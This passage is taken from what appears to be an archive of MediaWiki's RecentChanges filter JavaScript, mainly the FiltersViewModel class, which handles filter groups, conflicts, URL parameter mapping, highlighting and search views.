		this.emit( 'liveUpdateChange', this.liveUpdate );
	}
};

/**
 * @return {boolean} The 'live update' feature is enabled
 */
ChangesListViewModel.prototype.getLiveUpdate = function () {
	return this.liveUpdate;
};

/**
 * Check if some of the given changes watched and unseen
 *
 * @param {jQuery|string} changeslistContent
 */
ChangesListViewModel.prototype.checkForUnseenWatchedChanges = function ( changeslistContent ) {
	this.unseenWatchedChanges = changeslistContent !== 'NO_RESULTS' &&
		changeslistContent.find( '.mw-changeslist-line-watched' ).length > 0;
};

/**
 * @return {boolean} Whether some of the current changes are watched and unseen
 */
ChangesListViewModel.prototype.hasUnseenWatchedChanges = function () {
	return this.unseenWatchedChanges;
};

module.exports = ChangesListViewModel;
mediawiki.rcfilters/dm/FiltersViewModel.js000066600000113171151335045660014705 0ustar00var FilterGroup = require( './FilterGroup.js' ),
	FilterItem = require( './FilterItem.js' ),
	FiltersViewModel;

/**
 * View model for the filters selection and display
 *
 * @class mw.rcfilters.dm.FiltersViewModel
 * @mixins OO.EventEmitter
 * @mixins OO.EmitterList
 *
 * @constructor
 */
FiltersViewModel = function MwRcfiltersDmFiltersViewModel() {
	// Mixin constructor
	OO.EventEmitter.call( this );
	OO.EmitterList.call( this );

	this.groups = {};
	this.defaultParams = {};
	this.highlightEnabled = false;
	this.parameterMap = {};
	this.emptyParameterState = null;

	this.views = {};
	this.currentView = 'default';
	this.searchQuery = null;

	// Events
	this.aggregate( { update: 'filterItemUpdate' } );
	this.connect( this, { filterItemUpdate: [ 'emit', 'itemUpdate' ] } );
};

/* Initialization */
OO.initClass( FiltersViewModel );
OO.mixinClass( FiltersViewModel, OO.EventEmitter );
OO.mixinClass( FiltersViewModel, OO.EmitterList );

/* Events */

/**
 * @event initialize
 *
 * Filter list is initialized
 */

/**
 * @event update
 *
 * Model has been updated
 */

/**
 * @event itemUpdate
 * @param {mw.rcfilters.dm.FilterItem} item Filter item updated
 *
 * Filter item has changed
 */

/**
 * @event highlightChange
 * @param {boolean} Highlight feature is enabled
 *
 * Highlight feature has been toggled enabled or disabled
 */

/* Methods */

/**
 * Re-assess the states of filter items based on the interactions between them
 *
 * @param {mw.rcfilters.dm.FilterItem} [item] Changed item. If not given, the
 *  method will go over the state of all items
 */
FiltersViewModel.prototype.reassessFilterInteractions = function ( item ) {
	var allSelected,
		model = this,
		iterationItems = item !== undefined ? [ item ] : this.getItems();

	iterationItems.forEach( function ( checkedItem ) {
		var allCheckedItems = checkedItem.getSubset().concat( [ checkedItem.getName() ] ),
			groupModel = checkedItem.getGroupModel();

		// Check for subsets (included filters) plus the item itself:
		allCheckedItems.forEach( function ( filterItemName ) {
			var itemInSubset = model.getItemByName( filterItemName );

			itemInSubset.toggleIncluded(
				// If any of itemInSubset's supersets are selected, this item
				// is included
				itemInSubset.getSuperset().some( function ( supersetName ) {
					return ( model.getItemByName( supersetName ).isSelected() );
				} )
			);
		} );

		// Update coverage for the changed group
		if ( groupModel.isFullCoverage() ) {
			allSelected = groupModel.areAllSelected();
			groupModel.getItems().forEach( function ( filterItem ) {
				filterItem.toggleFullyCovered( allSelected );
			} );
		}
	} );

	// Check for conflicts
	// In this case, we must go over all items, since
	// conflicts are bidirectional and depend not only on
	// individual items, but also on the selected states of
	// the groups they're in.
	this.getItems().forEach( function ( filterItem ) {
		var inConflict = false,
			filterItemGroup = filterItem.getGroupModel();

		// For each item, see if that item is still conflicting
		// eslint-disable-next-line no-jquery/no-each-util
		$.each( model.groups, function ( groupName, groupModel ) {
			if ( filterItem.getGroupName() === groupName ) {
				// Check inside the group
				inConflict = groupModel.areAnySelectedInConflictWith( filterItem );
			} else {
				// According to the spec, if two items conflict from two different
				// groups, the conflict only lasts if the groups **only have selected
				// items that are conflicting**. If a group has selected items that
				// are conflicting and non-conflicting, the scope of the result has
				// expanded enough to completely remove the conflict.

				// For example, see two groups with conflicts:
				// userExpLevel: [
				//   {
				//     name: 'experienced',
				//     conflicts: [ 'unregistered' ]
				//   }
				// ],
				// registration: [
				//   {
				//     name: 'registered',
				//   },
				//   {
				//     name: 'unregistered',
				//   }
				// ]
				// If we select 'experienced', then 'unregistered' is in conflict (and vice versa),
				// because, inherently, 'experienced' filter only includes registered users, and so
				// both filters are in conflict with one another.
				// However, the minute we select 'registered', the scope of our results
				// has expanded to no longer have a conflict with 'experienced' filter, and
				// so the conflict is removed.

				// In our case, we need to check if the entire group conflicts with
				// the entire item's group, so we follow the above spec
				inConflict = (
					// The foreign group is in conflict with this item
					groupModel.areAllSelectedInConflictWith( filterItem ) &&
					// Every selected member of the item's own group is also
					// in conflict with the other group
					filterItemGroup.findSelectedItems().every( function ( otherGroupItem ) {
						return groupModel.areAllSelectedInConflictWith( otherGroupItem );
					} )
				);
			}

			// If we're in conflict, this will return 'false' which
			// will break the loop. Otherwise, we're not in conflict
			// and the loop continues
			return !inConflict;
		} );

		// Toggle the item state
		filterItem.toggleConflicted( inConflict );
	} );
};

/**
 * Get whether the model has any conflict in its items
 *
 * @return {boolean} There is a conflict
 */
FiltersViewModel.prototype.hasConflict = function () {
	return this.getItems().some( function ( filterItem ) {
		return filterItem.isSelected() && filterItem.isConflicted();
	} );
};

/**
 * Get the first item with a current conflict
 *
 * @return {mw.rcfilters.dm.FilterItem|undefined} Conflicted item or undefined when not found
 */
FiltersViewModel.prototype.getFirstConflictedItem = function () {
	var i, filterItem, items = this.getItems();
	for ( i = 0; i < items.length; i++ ) {
		filterItem = items[ i ];
		if ( filterItem.isSelected() && filterItem.isConflicted() ) {
			return filterItem;
		}
	}
};

/**
 * Set filters and preserve a group relationship based on
 * the definition given by an object
 *
 * @param {Array} filterGroups Filters definition
 * @param {Object} [views] Extra views definition
 *  Expected in the following format:
 *  {
 *     namespaces: {
 *       label: 'namespaces', // Message key
 *       trigger: ':',
 *       groups: [
 *         {
 *            // Group info
 *            name: 'namespaces' // Parameter name
 *            title: 'namespaces' // Message key
 *            type: 'string_options',
 *            separator: ';',
 *            labelPrefixKey: { 'default': 'rcfilters-tag-prefix-namespace', inverted: 'rcfilters-tag-prefix-namespace-inverted' },
 *            fullCoverage: true
 *            items: []
 *         }
 *       ]
 *     }
 *  }
 */
FiltersViewModel.prototype.initializeFilters = function ( filterGroups, views ) {
	var filterConflictResult, groupConflictResult,
		allViews,
		model = this,
		items = [],
		groupConflictMap = {},
		filterConflictMap = {},
		/*!
		 * Expand a conflict definition from group name to
		 * the list of all included filters in that group.
		 * We do this so that the direct relationship in the
		 * models are consistently item->items rather than
		 * mixing item->group with item->item.
		 *
		 * @param {Object} obj Conflict definition
		 * @return {Object} Expanded conflict definition
		 */
		expandConflictDefinitions = function ( obj ) {
			var result = {};

			// eslint-disable-next-line no-jquery/no-each-util
			$.each( obj, function ( key, conflicts ) {
				var filterName,
					adjustedConflicts = {};

				conflicts.forEach( function ( conflict ) {
					var filter;

					if ( conflict.filter ) {
						filterName = model.groups[ conflict.group ].getPrefixedName( conflict.filter );
						filter = model.getItemByName( filterName );

						// Rename
						adjustedConflicts[ filterName ] = $.extend(
							{},
							conflict,
							{
								filter: filterName,
								item: filter
							}
						);
					} else {
						// This conflict is for an entire group. Split it up to
						// represent each filter

						// Get the relevant group items
						model.groups[ conflict.group ].getItems().forEach( function ( groupItem ) {
							// Rebuild the conflict
							adjustedConflicts[ groupItem.getName() ] = $.extend(
								{},
								conflict,
								{
									filter: groupItem.getName(),
									item: groupItem
								}
							);
						} );
					}
				} );

				result[ key ] = adjustedConflicts;
			} );

			return result;
		};

	// Reset
	this.clearItems();
	this.groups = {};
	this.views = {};

	// Clone
	filterGroups = OO.copy( filterGroups );

	// Normalize definition from the server
	filterGroups.forEach( function ( data ) {
		var i;
		// What's this information needs to be normalized
		data.whatsThis = {
			body: data.whatsThisBody,
			header: data.whatsThisHeader,
			linkText: data.whatsThisLinkText,
			url: data.whatsThisUrl
		};

		// Title is a msg-key
		// eslint-disable-next-line mediawiki/msg-doc
		data.title = data.title ? mw.msg( data.title ) : data.name;

		// Filters are given to us with msg-keys, we need
		// to translate those before we hand them off
		for ( i = 0; i < data.filters.length; i++ ) {
			// eslint-disable-next-line mediawiki/msg-doc
			data.filters[ i ].label = data.filters[ i ].label ? mw.msg( data.filters[ i ].label ) : data.filters[ i ].name;
			// eslint-disable-next-line mediawiki/msg-doc
			data.filters[ i ].description = data.filters[ i ].description ? mw.msg( data.filters[ i ].description ) : '';
		}
	} );

	// Collect views
	allViews = $.extend( true, {
		default: {
			title: mw.msg( 'rcfilters-filterlist-title' ),
			groups: filterGroups
		}
	}, views );

	// Go over all views
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( allViews, function ( viewName, viewData ) {
		// Define the view
		model.views[ viewName ] = {
			name: viewData.name,
			title: viewData.title,
			trigger: viewData.trigger
		};

		// Go over groups
		viewData.groups.forEach( function ( groupData ) {
			var group = groupData.name;

			if ( !model.groups[ group ] ) {
				model.groups[ group ] = new FilterGroup(
					group,
					$.extend( true, {}, groupData, { view: viewName } )
				);
			}

			model.groups[ group ].initializeFilters( groupData.filters, groupData.default );
			items = items.concat( model.groups[ group ].getItems() );

			// Prepare conflicts
			if ( groupData.conflicts ) {
				// Group conflicts
				groupConflictMap[ group ] = groupData.conflicts;
			}

			groupData.filters.forEach( function ( itemData ) {
				var filterItem = model.groups[ group ].getItemByParamName( itemData.name );
				// Filter conflicts
				if ( itemData.conflicts ) {
					filterConflictMap[ filterItem.getName() ] = itemData.conflicts;
				}
			} );
		} );
	} );

	// Add item references to the model, for lookup
	this.addItems( items );

	// Expand conflicts
	groupConflictResult = expandConflictDefinitions( groupConflictMap );
	filterConflictResult = expandConflictDefinitions( filterConflictMap );

	// Set conflicts for groups
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( groupConflictResult, function ( group, conflicts ) {
		model.groups[ group ].setConflicts( conflicts );
	} );

	// Set conflicts for items
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( filterConflictResult, function ( filterName, conflicts ) {
		var filterItem = model.getItemByName( filterName );
		// set conflicts for items in the group
		filterItem.setConflicts( conflicts );
	} );

	// Create a map between known parameters and their models
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( this.groups, function ( group, groupModel ) {
		if (
			groupModel.getType() === 'send_unselected_if_any' ||
			groupModel.getType() === 'boolean' ||
			groupModel.getType() === 'any_value'
		) {
			// Individual filters
			groupModel.getItems().forEach( function ( filterItem ) {
				model.parameterMap[ filterItem.getParamName() ] = filterItem;
			} );
		} else if (
			groupModel.getType() === 'string_options' ||
			groupModel.getType() === 'single_option'
		) {
			// Group
			model.parameterMap[ groupModel.getName() ] = groupModel;
		}
	} );

	this.setSearch( '' );

	this.updateHighlightedState();

	// Finish initialization
	this.emit( 'initialize' );
};

/**
 * Update filter view model state based on a parameter object
 *
 * @param {Object} params Parameters object
 */
FiltersViewModel.prototype.updateStateFromParams = function ( params ) {
	var filtersValue;
	// For arbitrary numeric single_option values make sure the values
	// are normalized to fit within the limits
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( this.getFilterGroups(), function ( groupName, groupModel ) {
		params[ groupName ] = groupModel.normalizeArbitraryValue( params[ groupName ] );
	} );

	// Update filter values
	filtersValue = this.getFiltersFromParameters( params );
	Object.keys( filtersValue ).forEach( function ( filterName ) {
		this.getItemByName( filterName ).setValue( filtersValue[ filterName ] );
	}.bind( this ) );

	// Update highlight state
	this.getItemsSupportingHighlights().forEach( function ( filterItem ) {
		var color = params[ filterItem.getName() + '_color' ];
		if ( color ) {
			filterItem.setHighlightColor( color );
		} else {
			filterItem.clearHighlightColor();
		}
	} );
	this.updateHighlightedState();

	// Check all filter interactions
	this.reassessFilterInteractions();
};

/**
 * Get a representation of an empty (falsey) parameter state
 *
 * @return {Object} Empty parameter state
 */
FiltersViewModel.prototype.getEmptyParameterState = function () {
	if ( !this.emptyParameterState ) {
		this.emptyParameterState = $.extend(
			true,
			{},
			this.getParametersFromFilters( {} ),
			this.getEmptyHighlightParameters()
		);
	}
	return this.emptyParameterState;
};

/**
 * Get a representation of only the non-falsey parameters
 *
 * @param {Object} [parameters] A given parameter state to minimize. If not given the current
 *  state of the system will be used.
 * @return {Object} Empty parameter state
 */
FiltersViewModel.prototype.getMinimizedParamRepresentation = function ( parameters ) {
	var result = {};

	parameters = parameters ? $.extend( true, {}, parameters ) : this.getCurrentParameterState();

	// Params
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( this.getEmptyParameterState(), function ( param, value ) {
		if ( parameters[ param ] !== undefined && parameters[ param ] !== value ) {
			result[ param ] = parameters[ param ];
		}
	} );

	// Highlights
	Object.keys( this.getEmptyHighlightParameters() ).forEach( function ( param ) {
		if ( parameters[ param ] ) {
			// If a highlight parameter is not undefined and not null
			// add it to the result
			result[ param ] = parameters[ param ];
		}
	} );

	return result;
};

/**
 * Get a representation of the full parameter list, including all base values
 *
 * @return {Object} Full parameter representation
 */
FiltersViewModel.prototype.getExpandedParamRepresentation = function () {
	return $.extend(
		true,
		{},
		this.getEmptyParameterState(),
		this.getCurrentParameterState()
	);
};

/**
 * Get a parameter representation of the current state of the model
 *
 * @param {boolean} [removeStickyParams] Remove sticky filters from final result
 * @return {Object} Parameter representation of the current state of the model
 */
FiltersViewModel.prototype.getCurrentParameterState = function ( removeStickyParams ) {
	var state = this.getMinimizedParamRepresentation( $.extend(
		true,
		{},
		this.getParametersFromFilters( this.getSelectedState() ),
		this.getHighlightParameters()
	) );

	if ( removeStickyParams ) {
		state = this.removeStickyParams( state );
	}

	return state;
};

/**
 * Delete sticky parameters from given object.
 *
 * @param {Object} paramState Parameter state
 * @return {Object} Parameter state without sticky parameters
 */
FiltersViewModel.prototype.removeStickyParams = function ( paramState ) {
	this.getStickyParams().forEach( function ( paramName ) {
		delete paramState[ paramName ];
	} );

	return paramState;
};

/**
 * Turn the highlight feature on or off
 */
FiltersViewModel.prototype.updateHighlightedState = function () {
	this.toggleHighlight( this.getHighlightedItems().length > 0 );
};

/**
 * Get the object that defines groups by their name.
 *
 * @return {Object} Filter groups
 */
FiltersViewModel.prototype.getFilterGroups = function () {
	return this.groups;
};

/**
 * Get the object that defines groups that match a certain view by their name.
 *
 * @param {string} [view] Requested view. If not given, uses current view
 * @return {Object} Filter groups matching a display group
 */
FiltersViewModel.prototype.getFilterGroupsByView = function ( view ) {
	var result = {};

	view = view || this.getCurrentView();

	// eslint-disable-next-line no-jquery/no-each-util
	$.each( this.groups, function ( groupName, groupModel ) {
		if ( groupModel.getView() === view ) {
			result[ groupName ] = groupModel;
		}
	} );

	return result;
};

/**
 * Get an array of filters matching the given display group.
 *
 * @param {string} [view] Requested view. If not given, uses current view
 * @return {mw.rcfilters.dm.FilterItem} Filter items matching the group
 */
FiltersViewModel.prototype.getFiltersByView = function ( view ) {
	var groups,
		result = [];

	view = view || this.getCurrentView();

	groups = this.getFilterGroupsByView( view );

	// eslint-disable-next-line no-jquery/no-each-util
	$.each( groups, function ( groupName, groupModel ) {
		result = result.concat( groupModel.getItems() );
	} );

	return result;
};

/**
 * Get the trigger for the requested view.
 *
 * @param {string} view View name
 * @return {string} View trigger, if exists
 */
FiltersViewModel.prototype.getViewTrigger = function ( view ) {
	return ( this.views[ view ] && this.views[ view ].trigger ) || '';
};

/**
 * Get the value of a specific parameter
 *
 * @param {string} name Parameter name
 * @return {number|string} Parameter value
 */
FiltersViewModel.prototype.getParamValue = function ( name ) {
	return this.parameters[ name ];
};

/**
 * Get the current selected state of the filters
 *
 * @param {boolean} [onlySelected] return an object containing only the filters with a value
 * @return {Object} Filters selected state
 */
FiltersViewModel.prototype.getSelectedState = function ( onlySelected ) {
	var i,
		items = this.getItems(),
		result = {};

	for ( i = 0; i < items.length; i++ ) {
		if ( !onlySelected || items[ i ].getValue() ) {
			result[ items[ i ].getName() ] = items[ i ].getValue();
		}
	}

	return result;
};

/**
 * Get the current full state of the filters
 *
 * @return {Object} Filters full state
 */
FiltersViewModel.prototype.getFullState = function () {
	var i,
		items = this.getItems(),
		result = {};

	for ( i = 0; i < items.length; i++ ) {
		result[ items[ i ].getName() ] = {
			selected: items[ i ].isSelected(),
			conflicted: items[ i ].isConflicted(),
			included: items[ i ].isIncluded()
		};
	}

	return result;
};

/**
 * Get an object representing default parameters state
 *
 * @return {Object} Default parameter values
 */
FiltersViewModel.prototype.getDefaultParams = function () {
	var result = {};

	// Get default filter state
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( this.groups, function ( name, model ) {
		if ( !model.isSticky() ) {
			$.extend( true, result, model.getDefaultParams() );
		}
	} );

	return result;
};

/**
 * Get a parameter representation of all sticky parameters
 *
 * @return {Object} Sticky parameter values
 */
FiltersViewModel.prototype.getStickyParams = function () {
	var result = [];

	// eslint-disable-next-line no-jquery/no-each-util
	$.each( this.groups, function ( name, model ) {
		if ( model.isSticky() ) {
			if ( model.isPerGroupRequestParameter() ) {
				result.push( name );
			} else {
				// Each filter is its own param
				result = result.concat( model.getItems().map( function ( filterItem ) {
					return filterItem.getParamName();
				} ) );
			}
		}
	} );

	return result;
};

/**
 * Get a parameter representation of all sticky parameters
 *
 * @return {Object} Sticky parameter values
 */
FiltersViewModel.prototype.getStickyParamsValues = function () {
	var result = {};

	// eslint-disable-next-line no-jquery/no-each-util
	$.each( this.groups, function ( name, model ) {
		if ( model.isSticky() ) {
			$.extend( true, result, model.getParamRepresentation() );
		}
	} );

	return result;
};

/**
 * Analyze the groups and their filters and output an object representing
 * the state of the parameters they represent.
 *
 * @param {Object} [filterDefinition] An object defining the filter values,
 *  keyed by filter names.
 * @return {Object} Parameter state object
 */
FiltersViewModel.prototype.getParametersFromFilters = function ( filterDefinition ) {
	var groupItemDefinition,
		result = {},
		groupItems = this.getFilterGroups();

	if ( filterDefinition ) {
		groupItemDefinition = {};
		// Filter definition is "flat", but in effect
		// each group needs to tell us its result based
		// on the values in it. We need to split this list
		// back into groupings so we can "feed" it to the
		// loop below, and we need to expand it so it includes
		// all filters (set to false)
		this.getItems().forEach( function ( filterItem ) {
			groupItemDefinition[ filterItem.getGroupName() ] = groupItemDefinition[ filterItem.getGroupName() ] || {};
			groupItemDefinition[ filterItem.getGroupName() ][ filterItem.getName() ] = filterItem.coerceValue( filterDefinition[ filterItem.getName() ] );
		} );
	}

	// eslint-disable-next-line no-jquery/no-each-util
	$.each( groupItems, function ( group, model ) {
		$.extend(
			result,
			model.getParamRepresentation(
				groupItemDefinition ?
					groupItemDefinition[ group ] : null
			)
		);
	} );

	return result;
};

/**
 * This is the opposite of the #getParametersFromFilters method; this goes over
 * the given parameters and translates into a selected/unselected value in the filters.
 *
 * @param {Object} params Parameters query object
 * @return {Object} Filter state object
 */
FiltersViewModel.prototype.getFiltersFromParameters = function ( params ) {
	var groupMap = {},
		model = this,
		result = {};

	// Go over the given parameters, break apart to groupings
	// The resulting object represents the group with its parameter
	// values. For example:
	// {
	//    group1: {
	//       param1: "1",
	//       param2: "0",
	//       param3: "1"
	//    },
	//    group2: "param4|param5"
	// }
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( params, function ( paramName, paramValue ) {
		var groupName,
			itemOrGroup = model.parameterMap[ paramName ];

		if ( itemOrGroup ) {
			groupName = itemOrGroup instanceof FilterItem ?
				itemOrGroup.getGroupName() : itemOrGroup.getName();

			groupMap[ groupName ] = groupMap[ groupName ] || {};
			groupMap[ groupName ][ paramName ] = paramValue;
		}
	} );

	// Go over all groups, so we make sure we get the complete output
	// even if the parameters don't include a certain group
	// eslint-disable-next-line no-jquery/no-each-util
	$.each( this.groups, function ( groupName, groupModel ) {
		result = $.extend( true, {}, result, groupModel.getFilterRepresentation( groupMap[ groupName ] ) );
	} );

	return result;
};

/**
 * Get the highlight parameters based on current filter configuration
 *
 * @return {Object} Object where keys are `<filter name>_color` and values
 *                  are the selected highlight colors.
 */
FiltersViewModel.prototype.getHighlightParameters = function () {
	var highlightEnabled = this.isHighlightEnabled(),
		result = {};

	this.getItems().forEach( function ( filterItem ) {
		if ( filterItem.isHighlightSupported() ) {
			result[ filterItem.getName() + '_color' ] = highlightEnabled && filterItem.isHighlighted() ?
				filterItem.getHighlightColor() :
				null;
		}
	} );

	return result;
};

/**
 * Get an object representing the complete empty state of highlights
 *
 * @return {Object} Object containing all the highlight parameters set to their negative value
 */
FiltersViewModel.prototype.getEmptyHighlightParameters = function () {
	var result = {};

	this.getItems().forEach( function ( filterItem ) {
		if ( filterItem.isHighlightSupported() ) {
			result[ filterItem.getName() + '_color' ] = null;
		}
	} );

	return result;
};

/**
 * Get an array of currently applied highlight colors
 *
 * @return {string[]} Currently applied highlight colors
 */
FiltersViewModel.prototype.getCurrentlyUsedHighlightColors = function () {
	var result = [];

	if ( this.isHighlightEnabled() ) {
		this.getHighlightedItems().forEach( function ( filterItem ) {
			var color = filterItem.getHighlightColor();

			if ( result.indexOf( color ) === -1 ) {
				result.push( color );
			}
		} );
	}

	return result;
};

/**
 * Sanitize value group of a string_option groups type
 * Remove duplicates and make sure to only use valid
 * values.
 *
 * @private
 * @param {string} groupName Group name
 * @param {string[]} valueArray Array of values
 * @return {string[]} Array of valid values
 */
FiltersViewModel.prototype.sanitizeStringOptionGroup = function ( groupName, valueArray ) {
	var validNames = this.getGroupFilters( groupName ).map( function ( filterItem ) {
		return filterItem.getParamName();
	} );

	return mw.rcfilters.utils.normalizeParamOptions( valueArray, validNames );
};

/**
 * Check whether no visible filter is selected.
 *
 * Filter groups that are hidden or sticky are not shown in the
 * active filters area and therefore not included in this check.
 *
 * @return {boolean} No visible filter is selected
 */
FiltersViewModel.prototype.areVisibleFiltersEmpty = function () {
	// Check if there are either any selected items or any items
	// that have highlight enabled
	return !this.getItems().some( function ( filterItem ) {
		var visible = !filterItem.getGroupModel().isSticky() && !filterItem.getGroupModel().isHidden(),
			active = ( filterItem.isSelected() || filterItem.isHighlighted() );
		return visible && active;
	} );
};

/**
 * Check whether the namespace invert state is a valid one. A valid invert state is one
 * where there are actual namespaces selected.
 *
 * This is done to compare states to previous ones that may have had the invert model
 * selected but effectively had no namespaces, so are not effectively different than
 * ones where invert is not selected.
 *
 * @return {boolean} Invert is effectively selected
 */
FiltersViewModel.prototype.areNamespacesEffectivelyInverted = function () {
	return this.getNamespacesInvertModel().isSelected() &&
		this.findSelectedItems().some( function ( itemModel ) {
			return itemModel.getGroupModel().getName() === 'namespace';
		} );
};

/**
 * Check whether the tag invert state is a valid one. A valid invert state is one
 * where there are actual tags selected.
 *
 * This is done to compare states to previous ones that may have had the invert model
 * selected but effectively had no tags, so are not effectively different than
 * ones where invert is not selected.
 *
 * @return {boolean} Invert is effectively selected
 */
FiltersViewModel.prototype.areTagsEffectivelyInverted = function () {
	return this.getTagsInvertModel().isSelected() &&
		this.findSelectedItems().some( function ( itemModel ) {
			return itemModel.getGroupModel().getName() === 'tagfilter';
		} );
};

/**
 * Get the item that matches the given name
 *
 * @param {string} name Filter name
 * @return {mw.rcfilters.dm.FilterItem} Filter item
 */
FiltersViewModel.prototype.getItemByName = function ( name ) {
	return this.getItems().filter( function ( item ) {
		return name === item.getName();
	} )[ 0 ];
};

/**
 * Set all filters to false or empty/all
 * This is equivalent to display all.
 */
FiltersViewModel.prototype.emptyAllFilters = function () {
	this.getItems().forEach( function ( filterItem ) {
		if ( !filterItem.getGroupModel().isSticky() ) {
			this.toggleFilterSelected( filterItem.getName(), false );
		}
	}.bind( this ) );
};

/**
 * Toggle selected state of one item
 *
 * @param {string} name Name of the filter item
 * @param {boolean} [isSelected] Filter selected state
 */
FiltersViewModel.prototype.toggleFilterSelected = function ( name, isSelected ) {
	var item = this.getItemByName( name );

	if ( item ) {
		item.toggleSelected( isSelected );
	}
};

/**
 * Toggle selected state of items by their names
 *
 * @param {Object} filterDef Filter definitions
 */
FiltersViewModel.prototype.toggleFiltersSelected = function ( filterDef ) {
	Object.keys( filterDef ).forEach( function ( name ) {
		this.toggleFilterSelected( name, filterDef[ name ] );
	}.bind( this ) );
};

/**
 * Get a group model from its name
 *
 * @param {string} groupName Group name
 * @return {mw.rcfilters.dm.FilterGroup} Group model
 */
FiltersViewModel.prototype.getGroup = function ( groupName ) {
	return this.groups[ groupName ];
};

/**
 * Get all filters within a specified group by its name
 *
 * @param {string} groupName Group name
 * @return {mw.rcfilters.dm.FilterItem[]} Filters belonging to this group
 */
FiltersViewModel.prototype.getGroupFilters = function ( groupName ) {
	return ( this.getGroup( groupName ) && this.getGroup( groupName ).getItems() ) || [];
};

/**
 * Find items whose labels match the given string
 *
 * @param {string} query Search string
 * @param {boolean} [returnFlat] Return a flat array. If false, the result
 *  is an object whose keys are the group names and values are an array of
 *  filters per group. If set to true, returns an array of filters regardless
 *  of their groups.
 * @return {Object} An object of items to show
 *  arranged by their group names
 */
FiltersViewModel.prototype.findMatches = function ( query, returnFlat ) {
	var i, searchIsEmpty,
		groupTitle,
		result = {},
		flatResult = [],
		view = this.getViewByTrigger( query.slice( 0, 1 ) ),
		items = this.getFiltersByView( view );

	// Normalize so we can search strings regardless of case and view
	query = query.trim().toLowerCase();
	if ( view !== 'default' ) {
		query = query.slice( 1 );
	}
	// Trim again to also intercept cases where the spaces were after the trigger
	// eg: '#   str'
	query = query.trim();

	// Check if the search if actually empty; this can be a problem when
	// we use prefixes to denote different views
	searchIsEmpty = query.length === 0;

	// item label starting with the query string
	for ( i = 0; i < items.length; i++ ) {
		if (
			searchIsEmpty ||
			items[ i ].getLabel().toLowerCase().indexOf( query ) === 0 ||
			(
				// For tags, we want the parameter name to be included in the search
				view === 'tags' &&
				items[ i ].getParamName().toLowerCase().indexOf( query ) > -1
			)
		) {
			result[ items[ i ].getGroupName() ] = result[ items[ i ].getGroupName() ] || [];
			result[ items[ i ].getGroupName() ].push( items[ i ] );
			flatResult.push( items[ i ] );
		}
	}

	if ( $.isEmptyObject( result ) ) {
		// item containing the query string in their label, description, or group title
		for ( i = 0; i < items.length; i++ ) {
			groupTitle = items[ i ].getGroupModel().getTitle();
			if (
				searchIsEmpty ||
				items[ i ].getLabel().toLowerCase().indexOf( query ) > -1 ||
				items[ i ].getDescription().toLowerCase().indexOf( query ) > -1 ||
				groupTitle.toLowerCase().indexOf( query ) > -1 ||
				(
					// For tags, we want the parameter name to be included in the search
					view === 'tags' &&
					items[ i ].getParamName().toLowerCase().indexOf( query ) > -1
				)
			) {
				result[ items[ i ].getGroupName() ] = result[ items[ i ].getGroupName() ] || [];
				result[ items[ i ].getGroupName() ].push( items[ i ] );
				flatResult.push( items[ i ] );
			}
		}
	}

	return returnFlat ? flatResult : result;
};

/**
 * Get items that are highlighted
 *
 * @return {mw.rcfilters.dm.FilterItem[]} Highlighted items
 */
FiltersViewModel.prototype.getHighlightedItems = function () {
	return this.getItems().filter( function ( filterItem ) {
		return filterItem.isHighlightSupported() &&
			filterItem.getHighlightColor();
	} );
};

/**
 * Get items that allow highlights even if they're not currently highlighted
 *
 * @return {mw.rcfilters.dm.FilterItem[]} Items supporting highlights
 */
FiltersViewModel.prototype.getItemsSupportingHighlights = function () {
	return this.getItems().filter( function ( filterItem ) {
		return filterItem.isHighlightSupported();
	} );
};

/**
 * Get all selected items
 *
 * @return {mw.rcfilters.dm.FilterItem[]} Selected items
 */
FiltersViewModel.prototype.findSelectedItems = function () {
	var allSelected = [];

	// eslint-disable-next-line no-jquery/no-each-util
	$.each( this.getFilterGroups(), function ( groupName, groupModel ) {
		allSelected = allSelected.concat( groupModel.findSelectedItems() );
	} );

	return allSelected;
};

/**
 * Get the current view
 *
 * @return {string} Current view
 */
FiltersViewModel.prototype.getCurrentView = function () {
	return this.currentView;
};

/**
 * Get the label for the current view
 *
 * @param {string} viewName View name
 * @return {string} Label for the current view
 */
FiltersViewModel.prototype.getViewTitle = function ( viewName ) {
	viewName = viewName || this.getCurrentView();

	return this.views[ viewName ] && this.views[ viewName ].title;
};

/**
 * Get the view that fits the given trigger
 *
 * @param {string} trigger Trigger
 * @return {string} Name of view
 */
FiltersViewModel.prototype.getViewByTrigger = function ( trigger ) {
	var result = 'default';

	// eslint-disable-next-line no-jquery/no-each-util
	$.each( this.views, function ( name, data ) {
		if ( data.trigger === trigger ) {
			result = name;
		}
	} );

	return result;
};

/**
 * Return a version of the given string that is without any
 * view triggers.
 *
 * @param {string} str Given string
 * @return {string} Result
 */
FiltersViewModel.prototype.removeViewTriggers = function ( str ) {
	if ( this.getViewFromString( str ) !== 'default' ) {
		str = str.slice( 1 );
	}

	return str;
};

/**
 * Get the view from the given string by a trigger, if it exists
 *
 * @param {string} str Given string
 * @return {string} View name
 */
FiltersViewModel.prototype.getViewFromString = function ( str ) {
	return this.getViewByTrigger( str.slice( 0, 1 ) );
};

/**
 * Set the current search for the system.
 * This also dictates what items and groups are visible according
 * to the search in #findMatches
 *
 * @param {string} searchQuery Search query, including triggers
 * @fires searchChange
 */
FiltersViewModel.prototype.setSearch = function ( searchQuery ) {
	var visibleGroups, visibleGroupNames;

	if ( this.searchQuery !== searchQuery ) {
		// Check if the view changed
		this.switchView( this.getViewFromString( searchQuery ) );

		visibleGroups = this.findMatches( searchQuery );
		visibleGroupNames = Object.keys( visibleGroups );

		// Update visibility of items and groups
		// eslint-disable-next-line no-jquery/no-each-util
		$.each( this.getFilterGroups(), function ( groupName, groupModel ) {
			// Check if the group is visible at all
			groupModel.toggleVisible( visibleGroupNames.indexOf( groupName ) !== -1 );
			groupModel.setVisibleItems( visibleGroups[ groupName ] || [] );
		} );

		this.searchQuery = searchQuery;
		this.emit( 'searchChange', this.searchQuery );
	}
};

/**
 * Get the current search
 *
 * @return {string} Current search query
 */
FiltersViewModel.prototype.getSearch = function () {
	return this.searchQuery;
};

/**
 * Switch the current view
 *
 * @private
 * @param {string} view View name
 */
FiltersViewModel.prototype.switchView = function ( view ) {
